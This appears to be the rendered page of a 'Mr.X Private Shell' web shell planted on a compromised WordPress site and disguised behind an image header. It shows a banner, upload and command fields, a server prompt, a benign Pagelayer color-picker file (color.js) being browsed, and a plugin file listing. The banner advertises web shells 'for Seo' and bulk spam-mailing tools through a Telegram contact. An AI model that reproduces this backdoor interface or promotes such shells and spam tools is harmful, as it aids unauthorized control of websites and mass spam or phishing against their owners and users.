����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
import { __ } from '@wordpress/i18n';
import { ColorPicker, Popover  } from '@wordpress/components';
import { useState, useEffect, useRef } from '@wordpress/element';
import { LabelControl } from './label';

export const ColorControl = (props) => {
		
	const { prop, value, setAttributes } = props;
	const { name } = prop['c'];

	const onChange = (color = '') => {
		setAttributes({ [name]: color});
	}

	const handleGlobalColor = (item) => {
		setAttributes({ [name]: '$' + item });
	}
	
	return (
		<div className="components-base-control pagelayer-base-control">
			<LabelControl {...props}/>
			<ColorPickerControl 
				name={name} 
				value={value} 
				onChange = {onChange}  
				setAttributes={setAttributes} 
				type ={prop.type}
				handleClick ={handleGlobalColor}
			/>
		</div>
	);	
}

// Color picker 
export const ColorPickerControl = (props) => {
	const { name, value, onChange, setAttributes, type, handleClick, showRemoveIcon = true } = props;
	const [showPicker, setShowPicker] = useState(false);
	const holderDiv = useRef(null);
	const colorPickerRef = useRef(null);
	const colorPopoverRef = useRef(null);
	const globalRef = useRef(null);
	
	let val = value;
	var is_global = pagelayerIsGlobalColor(val);
	var global_active = '';

	// If global color exist
	if (!pagelayer_empty(is_global)) {
		val = pagelayer_global_colors[is_global]['value'];
		global_active = 'pagelayer-active-global';
	}

	useEffect(() => {
		const handleDocumentClick = (e) => {
			if (
				colorPickerRef.current &&
				colorPopoverRef.current &&
				!colorPickerRef.current.contains(e.target) &&
				!colorPopoverRef.current.contains(e.target)
			) {
				setShowPicker(false);
			}
			
			// Global color handler
			if (
				globalRef.current &&
				!globalRef.current.contains(e.target)
			) {
				jQuery(holderDiv.current).find('.pagelayer-global-color-list').slideUp();
			}
		};
		document.addEventListener('click', handleDocumentClick);

		return () => {
			document.removeEventListener('click', handleDocumentClick);
		};
	}, []);

	useEffect(() => {
		
		let list = jQuery(holderDiv.current).find('.pagelayer-global-color-list');
		jQuery(holderDiv.current).find('.pagelayer-elp-color-global').on('click', function (e) {
			e.stopPropagation();
			list.slideToggle();
			setShowPicker(false);
		});
		
		jQuery(holderDiv.current).find('.pagelayer-global-color-list-item').on('click', function (e) {
			list.slideUp();
		});
		
	}, [])

	const handleGlobalLink = (e) =>{
		e.stopPropagation();
		window.open(pagelayer_customizer_url + '&autofocus%5Bsection%5D=pagelayer_global_colors_sec', '_blank');
	}

	var blank = 'pagelayer-blank-preview';
	var preView = {};
	
	if(!pagelayer_empty(value)){
		blank = '';
		preView = { backgroundColor: is_global ? val : value };
	}

	const onRemoveColor = () => {
		setAttributes({ [name]: '' });
		setShowPicker(false);
	}

	return (
		<div className="pagelayer-elp-color-div-holder" ref={holderDiv}>
			<div className={`pagelayer-elp-color-global ${global_active}`}></div>
			<div className="pagelayer-elp-color-div" ref={colorPickerRef}>
				<div
					className={`pagelayer-elp-color-preview ${blank}`}
					onClick={() => setShowPicker(!showPicker)}
					style={preView}
				>
				</div>
				{ showRemoveIcon && <span
						className="pagelayer-elp-remove-color"
						onClick={() => { onRemoveColor() }}
					><i className="pli pli-cross" ></i></span>
				}
				{showPicker && <Popover ref={colorPopoverRef}>
					<ColorPicker
						color={value || ""}
						onChangeComplete={(val) => {
							if (val.rgb) {
								onChange(
									val.rgb.a != 1
										? "rgba(" +
												val.rgb.r +
												"," +
												val.rgb.g +
												"," +
												val.rgb.b +
												"," +
												val.rgb.a +
												")"
										: val.hex
								);
							}
						}}
						disableAlpha={false}
					/>
				</Popover> }
			</div>
			<div className="pagelayer-global-color-list" ref={globalRef}>
				<div className="pagelayer-global-setting-color">
					<b>{ __('Global Colors') }</b>
					<span className="pli pli-service" onClick={handleGlobalLink}></span>
				</div>
				{
					Object.keys(pagelayer_global_colors).map(items => {
						const color = pagelayer_global_colors[items];
						const activeClass = items === is_global ? 'pagelayer-global-selected' : '';
						return (
							<div
								key={items}
								className={`pagelayer-global-color-list-item ${activeClass}`}
								data-global-id={items}
								onClick={() =>handleClick(items)}
							>
								<span className="pagelayer-global-color-pre" style={{ background: color.value }}></span>
								<span className="pagelayer-global-color-title">{color.title}</span>
								<span className="pagelayer-global-color-code">{color.value}</span>
							</div>
						)
					})
				}
			</div>
		</div>
	);	
}

Filemanager

Name Type Size Permission Actions
access.js File 1.26 KB 0644
box-shadow.js File 5.7 KB 0644
checkbox.js File 653 B 0644
color.js File 4.9 KB 0644
datetime.js File 1000 B 0644
dimension.js File 1.82 KB 0644
filter.js File 2.29 KB 0644
font_family.js File 1.53 KB 0644
gradient.js File 4.01 KB 0644
html-to-react.js File 237 B 0644
icon.js File 5.16 KB 0644
image.js File 2.26 KB 0644
label.js File 1.32 KB 0644
link.js File 7.39 KB 0644
media.js File 1.91 KB 0644
modal.js File 1.81 KB 0644
multi-image.js File 2.96 KB 0644
multiselect.js File 2.11 KB 0644
padding.js File 2.13 KB 0644
radio.js File 771 B 0644
rich_text.js File 4.2 KB 0644
screen-icon.js File 1.08 KB 0644
select.js File 2.18 KB 0644
setting-tabs-control.js File 1.95 KB 0644
slider.js File 1.47 KB 0644
spinner.js File 846 B 0644
text-shadow.js File 7.21 KB 0644
textarea.js File 693 B 0644
typography.js File 17.44 KB 0644